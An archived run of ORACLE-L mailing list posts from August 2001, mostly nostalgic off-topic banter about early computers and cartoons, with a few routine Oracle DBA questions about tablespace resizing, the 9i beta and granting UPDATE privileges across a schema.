Author: Jan Pruner
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



9i

2001-08-02 Thread Kevin Kostyszyn

Uhhh...I thought that 9i wasn't going to be using rollback segments anymore?
Am I wrong, was this alcohol induced dream or something like that?

Sincerely,
Kevin Kostyszyn
DBA
Dulcian, Inc
www.dulcian.com
[EMAIL PROTECTED]

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Kevin Kostyszyn
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



Re: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Terry Ball

Peabody.  Professor Peabody.  A long-eared, white dog.  Who taught History
to Sherman.

Terry

Rachel Carmichael wrote:

 Okay, who remembers Fractured Fairy Tales and the Professor and his boy
 Sherman?


-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Terry Ball
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Page, Bruce

 And the DEC rainbow shipped with both DOS and CP/M.

Nasty little thing.
I built a billing system for a telephone company on them using Dbase II.
We had to keep 10 sets of backs. We each had our own and then on was left with the 
system.  We kept 10 because we would sometimes go through a lot of them before we 
could get a good restore.  We swore they had a built in fry disk at random command.
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Page, Bruce
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



Re: Wite paper link?

2001-08-02 Thread Rodd Holman

Thanks.

On 01 Aug 2001 14:30:40 -0800, Suzy Vordos wrote:
 
 http://www.quest.com/whitepapers/index.asp
 
 Rodd Holman wrote:
  
  Does anyone know of a link to Gaja's wite paper on tuning that he
  presented at OOW 2000?
  
  I'm running into some fun tuning thins and I can't seem to find my notes
  from the session.
  
  TIA
  
  Rodd Holman
  [EMAIL PROTECTED]
  
 -- 
 Author: Suzy Vordos
   INET: [EMAIL PROTECTED]


-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Rodd Holman
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



Re: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Scott Shafer

The Cult of the Goddess does not take divine abandonment lightly...

--Scott Shafer, High Priest
  San Antonio, TX


Rachel Carmichael wrote:
 
 that settles it, I'm quietly packing up my desk and leaving the list. I
 don't belong here. I vaguely remember working with some of this stuff but
 not all.
 
 I either:
 
 1)never had a memory for anything
 2)was sleepwalking through most of my life
 3)am not and was not a nerd
 4)all of the above
 
 I think I'll lurk for awhile

_
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Scott Shafer
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



Re: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Scott Shafer

According to Mr Owl, the answer is 3.


Rachel Carmichael wrote:
 
 one (ker-runch!)
 
 From: Page, Bruce [EMAIL PROTECTED]
 Reply-To: [EMAIL PROTECTED]
 To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
 Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff
 Date: Thu, 02 Aug 2001 07:27:16 -0800
 
 And the question (still yet to be properly answered) is How many licks
 does it take to get to the center of a Tootsie Pop?
 
   I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3.

_
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Scott Shafer
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: Test message

2001-08-02 Thread Mohan, Ross

Too late. 

-Original Message-
Sent: Thursday, August 02, 2001 12:47 PM
To: Multiple recipients of list ORACLE-L


Ignore this message.
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Arich Henneman
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Mohan, Ross
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



Re: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Thater, William

On Thu, 2 Aug 2001,Scott Shafer scribbled on the wall in glitter crayon:

-The Cult of the Goddess does not take divine abandonment lightly...
-
---Scott Shafer, High Priest
-  San Antonio, TX

hey, i thought that was my job!;-)

and i think i've been in this damn business t long.

should have took that job as a javalin catcher.;-)


--
Bill Thater ORACLE DBA
Telergy,Inc.   [EMAIL PROTECTED]

It's got to come from the heart if you want it to work!

If the automobile had followed the same development cycle as the computer, a 
Rolls-Royce would today cost $100, get a million miles per gallon, and explode once a 
year, killing everyone inside. - Robert X. Cringely

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Thater, William
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



huge datafiles/need help

2001-08-02 Thread lhoska

Hi List,
I have a monster tablespace 36 G with two datafiles 32 G and 4 G. Don't ask
me who created such a file because I don't know.  I am trying to rescue the
database that has multiple problems.  Something you've never seen before.  
Bye the way, did anyone ever run a test how much stuff you can put on your
disc before it dyes?  Well, yesterday I found a disc which was 99.07 % full.
Anyway...
The tablespace is ~ 50 % free.  The bad news is it doesn't let me to reduce
the size of the datafiles by using 'alter database datafile ... resize...';.
That tablespace contains 32 indexes.  Some of them are as large as 600 -800
M.  I need to develop a plan of attack.
My options are:
1) drop and recreate the indexes;
2) rebuild the indexes in different tablespace/tablespaces;
3) export/import indexes or may be even tablespace all at once.

Is there anyone who has done something similar before?
All suggestions are greatly appreciated.  That database is screaming for
help!!
It running Oracle 8.1.6 on NT.

Lyuda Hoska

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: 
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



Re: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Scott Shafer

Mid 70's?  I never used a computer before 1990.  I went from zero
experience to real-time, hybrid unix on a mainframe doing maintenance
programming for an Air Traffic Control system.  Prior to that, I worked
blue-collar (come from a long line of ironworkers) until I joined the
USAF and they told me I was a computer programmer...

Scott Shafer
San Antonio, TX


Page, Bruce wrote:
 
 And just think about the PC being an advanced system for some of us.
 
 Wait until we again start talking about using paper tapes and having to use scotch 
tape to put them back together to run them through.  Or even the older guys that talk 
about switch boards.  I am not as old as them.  My computer days just go back to the 
mid 70's.
 
  I love this stuff(being a nerd wannabe), but I don't have a
  frickin clue
  what any of you are talking about:)

_
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Scott Shafer
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



computer history stories

2001-08-02 Thread Paul Baumgartel

I just want to thank everyone whose stories indicate that they are at least
middle-aged--for a while (especially at my last job where the average age
was about 25), I'd been feeling as though I was the last over-40 tech-head
left on the East Coast.  

Now, as long as I'm posting, my how-I-got-started story:

I majored in liberal arts and worked as a real-estate property manager for
about 5 years.  Encouraged by programmer friends, I took some classes, in
Fortran, Intro. to Computer Logic, and DG MV/8000 assembly language.  My
first job, in 1981, was as an assembly language programmer, but not for the
MV/8000; rather, writing firmware for the Intel 8085.  I couldn't believe
how primitive it seemed after programming for the then-state-of-the-art
MV/8000.  The experience, though, of working from hardware schematics and
Intel data books was invaluable.  You really know how a computer works when
you've learned about asserting ALE (address latch enable) and strobing the
address bus!

Paul Baumgartel
MortgageSight Holdings, LLC
[EMAIL PROTECTED]

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Paul Baumgartel
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: Test message

2001-08-02 Thread Jamadagni, Rajendra

I tried ... but couldn't ..
__
Rajendra Jamadagni  MIS, ESPN Inc.
Rajendra dot Jamadagni at ESPN dot com
Any opinion expressed here is personal and doesn't reflect that of ESPN Inc.

QOTD: Any clod can have facts, but having an opinion is an art !

-Original Message-
Sent: Thursday, August 02, 2001 12:47 PM
To: Multiple recipients of list ORACLE-L

Ignore this message.
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Arich Henneman
  INET: [EMAIL PROTECTED]

*2

This e-mail message is confidential, intended only for the named recipient(s) above 
and may contain information that is privileged, attorney work product or exempt from 
disclosure under applicable law. If you have received this message in error, or are 
not the named recipient(s), please immediately notify corporate MIS at (860) 766-2000 
and delete this e-mail message from your computer, Thank you.

*2

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Jamadagni, Rajendra
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Kimberly Smith

We have a bowl full of them here.  I will get back to you.  I could
maybe get the whole staff into it and average it out so that we have
a more accurate answer.

-Original Message-
Sent: Thursday, August 02, 2001 8:27 AM
To: Multiple recipients of list ORACLE-L


And the question (still yet to be properly answered) is How many licks does
it take to get to the center of a Tootsie Pop?

 I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3.
 
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Page, Bruce
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Kimberly Smith
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: Oracle Beta

2001-08-02 Thread Christopher Spence

It is fairly difficult to get on the beta team from what I understand, it is
too late at this point.

Do not criticize someone until you walked a mile in their shoes, that way
when you criticize them, you are a mile a way and have their shoes.

Christopher R. Spence  OCP  MCSE MCP A+ RAPTOR CNA
Oracle DBA
Phone: (978) 322-5744
Fax:(707) 885-2275

Fuelspot
73 Princeton Street
North, Chelmsford 01863
 



-Original Message-
Sent: Thursday, August 02, 2001 11:11 AM
To: Multiple recipients of list ORACLE-L


Hi all,
Does anyone know the URL for the Oracle 9i Beta program.  I need to
download the NT version of 9i. Thanks in advance:)

Sincerely,
Kevin Kostyszyn
DBA
Dulcian, Inc
www.dulcian.com
[EMAIL PROTECTED]

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Kevin Kostyszyn
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the
message BODY, include a line containing: UNSUB ORACLE-L (or the name of
mailing list you want to be removed from).  You may also send the HELP
command for other information (like subscribing).
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Christopher Spence
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT

2001-08-02 Thread Ron Rogers

Heck, I retired from ATT where I had more time on the job than my boss had on the 
face of the earth. RedHeaded Hooters that couldn't spell PC.
ROR m-¿ôm

 [EMAIL PROTECTED] 08/02/01 10:51AM 
And just think about the PC being an advanced system for some of us.

Wait until we again start talking about using paper tapes and having to use scotch 
tape to put them back together to run them through.  Or even the older guys that talk 
about switch boards.  I am not as old as them.  My computer days just go back to the 
mid 70's.


 I love this stuff(being a nerd wannabe), but I don't have a 
 frickin clue
 what any of you are talking about:)
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com 
-- 
Author: Page, Bruce
  INET: [EMAIL PROTECTED] 

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).

--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Ron Rogers
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Thater, William

On Thu, 2 Aug 2001,Rachel Carmichael scribbled on the wall in glitter crayon:

-Okay, who remembers Fractured Fairy Tales and the Professor and his boy
-Sherman?


Ok true story time.  i went to work as a forms developer for Xerox Business Systems 
back in 93 and the first day i got into work i was setting up my star workstation and 
my PC when the project manager went into the cube next to mine and started giving the 
programmer there a REAL hard time.

after he left i heard moose and squrril, moose and squrill, is always moose and 
squrril! in a perfect russian accent!  i feel off my chair, and the guy came to see 
if i was alright.  turns out he was from bellaruss(sp?) and learned english from 
watching cartoons.

from then on, if meetings got stupid, we'd look at each other and go moose and 
squrril.  people left us alone.;-)

--
Bill Thater ORACLE DBA
Telergy,Inc.   [EMAIL PROTECTED]

It's got to come from the heart if you want it to work!

If the automobile had followed the same development cycle as the computer, a 
Rolls-Royce would today cost $100, get a million miles per gallon, and explode once a 
year, killing everyone inside. - Robert X. Cringely

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Thater, William
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Jon Baker
Title: RE: OT -- suggestions to ensure nerdiness in potential IT staff





From: Farnsworth, Dave [mailto:[EMAIL PROTECTED]]

-Okay, who remembers Fractured Fairy Tales and the Professor and his
-boy Sherman?

On black and white TV!! :(


and was the screen round and did the tv have legs built in?





RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread tday6

2314 Disk drives are responsible for me being in the IT racket.

The problem with the 2314 was that it was removable, but it could not be
removed until it came to a complete stop.  Otherwise you might damage the
heads or the disk itself.  The disk drive had a glass window so that you
could see if something was mounted but the disk had no markings, so it was
impossible to tell just by looking whether the disk was spinning or not.
The only safe policy was to turn the drive off and wait five minutes to be
certain that the disk had spun down.  You then manually opened the drawer,
attached a carrying handle to the drive, and very gingerly removed it.

My immediate predecessor as a computer operator did not follow this policy.
He yanked the drive out while it was still spinning, gyroscoped around the
computer room and banged it into a printer.  He then decided to remount it
in order to make sure that he hadn't damaged the drive.  The damaged drive
trashed the heads.  This genius then decided that he couldn't tell whether
the drive or the heads were bad so he remounted the drive on another
spindle, just in case it was the first spindle's heads that were bad.  So
he trashed the second spindle's heads.

The machine had 4 spindles but it need two of them just to hold the
operating system.  So, they could boot the machine, but they couldn't mount
any data or do any work.  They fired him, had an opening, and hired me.

You can bet that I was glad when the 3330 disk drive came in.  It would not
open the door to let you dismount the pack until the drive had spotted
spinning.

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: 
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Kathy Duret


The correct answer is 1 if it is a Cherry Toosie Pop.

Kathy

-Original Message-
Sent: Thursday, August 02, 2001 8:27 AM
To: Multiple recipients of list ORACLE-L


And the question (still yet to be properly answered) is How many licks does it take 
to get to the center of a Tootsie Pop?

 I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3.
 
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Page, Bruce
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).

Confidential
This e-mail and any files transmitted with it are the property
of Belkin Components and/or its affiliates, are confidential,
and are intended solely for the use of the individual or
entity to whom this e-mail is addressed.  If you are not one
of the named recipients or otherwise have reason to believe
that you have received this e-mail in error, please notify the
sender and delete this message immediately from your computer.
Any other use, retention, dissemination, forwarding, printing
or copying of this e-mail is strictly prohibited.
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Kathy Duret
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: grants to schema query

2001-08-02 Thread Kimberly Smith

Write a script that dynamically builds your script to create the grants.
Dynamically building scripts is very important in making your life much
easier.  The data dictionary is your friend.

-Original Message-
Sent: Thursday, August 02, 2001 8:01 AM
To: Multiple recipients of list ORACLE-L


Hope there is not an obvious answer to this. I want to grant UPDATE priv
to all objects in a schema to a user.  Do I need to grant to each object or
can I somehow wildcard all the objects?.  What are my option(s)?.  I'd
appreciate example grant statements!


Sean :)

Rookie Data Base Administrator
Oracle 7.3.3, 8.0.5, 8.1.7 - NT, W2K
[0%] OCP Oracle8i DBA
[0%] OCP Oracle9i DBA
  
Organon (Ireland) Ltd.
E-mail: [EMAIL PROTECTED]   [subscribed: Digest Mode]

Visit: http://groups.yahoo.com/group/Oracle-OCP-DBA

Nobody loves me but my mother... and she could be jivin' too.  - BB King



 
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: O'Neill, Sean
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Kimberly Smith
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Kevin Kostyszyn

yeah, my father still try's to impress me with stories of punch cards and
such.  It's pretty funny.  The oldest computer I know of and still have is a
compaq portable computer.  It has the old 5 1/4 floppy drives and a
little tiny screen.  It's basically a suitcase, weighs about 40 pounds, the
bottom is the keyboard.  Kinda cool, I remember playing games on it as a kid
and thinking it was the most amazing thing.  Now it makes a good foot rest,
but that's about it:)
kk

-Original Message-
Sent: Thursday, August 02, 2001 10:52 AM
To: Multiple recipients of list ORACLE-L


And just think about the PC being an advanced system for some of us.

Wait until we again start talking about using paper tapes and having to use
scotch tape to put them back together to run them through.  Or even the
older guys that talk about switch boards.  I am not as old as them.  My
computer days just go back to the mid 70's.


 I love this stuff(being a nerd wannabe), but I don't have a
 frickin clue
 what any of you are talking about:)
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Page, Bruce
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Kevin Kostyszyn
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Michael Kline

I remember doing APL on an IBM5100, an AT with a 4 inch BW screen
built on the side, and a switch to boot into APL or BASIC. The first
thing they had to do was blow it to the top of the link with 64k of
memory and TWO tape drives.

I could do in two hours what it took an engineer 2 days to do. In fact
I visited the company 10 years later and they wanted to know if I was
willing to do some more work on the box.

This was engineering, those monster storage takes for oil, gas, etc.
It was great for APL... I can still remember API-650K was an algebraic
formula that took 7 pages to document, and then the answer went back
into the first step until it was less than 1/10th of an inch difference.

But being matrix and vector oriented, you could to the whole thing
all at the same time. For what we were doing it was pretty neat.

I also remember IBM-360 model 25 and 40... 2311, 2314 disk drives...

Maks.
(Dating himself...)

 -Original Message-
 From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]On Behalf Of Mercadante,
 Thomas F
 Sent: Thursday, August 02, 2001 9:41 AM
 To: Multiple recipients of list ORACLE-L
 Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff
 
 
 What does APL stand for? What was very bad practice in APL that other
 languages use? What was used instead?
 
 A Programming Language.  Not sure of the other questions, but I remember
 learning the greek alphabet when I was using APL.  Very powerful
 vector-oriented language.  You could write one-line programs to accept a
 list of numbers, and spit out the average, mean, stand. dev., max, min and
 about anything else.  Pretty cool, except that picking up someone elses
 program to debug was a bitch!
 
 Tom Mercadante
 Oracle Certified Professional

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Michael Kline
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: grants to schema query

2001-08-02 Thread Cale, Rick T (Richard)

I think you need to something like

CREATE ROLE upd_privs;
GRANT UPDATE ON table1 TO upd_privs;
GRANT UPDATE ON tableN TO upd_privs;
GRANT upd_privs TO username;

Rick

-Original Message-
Sent: Thursday, August 02, 2001 11:01 AM
To: Multiple recipients of list ORACLE-L


Hope there is not an obvious answer to this. I want to grant UPDATE priv
to all objects in a schema to a user.  Do I need to grant to each object or
can I somehow wildcard all the objects?.  What are my option(s)?.  I'd
appreciate example grant statements!


Sean :)

Rookie Data Base Administrator
Oracle 7.3.3, 8.0.5, 8.1.7 - NT, W2K
[0%] OCP Oracle8i DBA
[0%] OCP Oracle9i DBA
  
Organon (Ireland) Ltd.
E-mail: [EMAIL PROTECTED]   [subscribed: Digest Mode]

Visit: http://groups.yahoo.com/group/Oracle-OCP-DBA

Nobody loves me but my mother... and she could be jivin' too.  - BB King



 
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: O'Neill, Sean
  INET: [EMAIL PROTECTED]

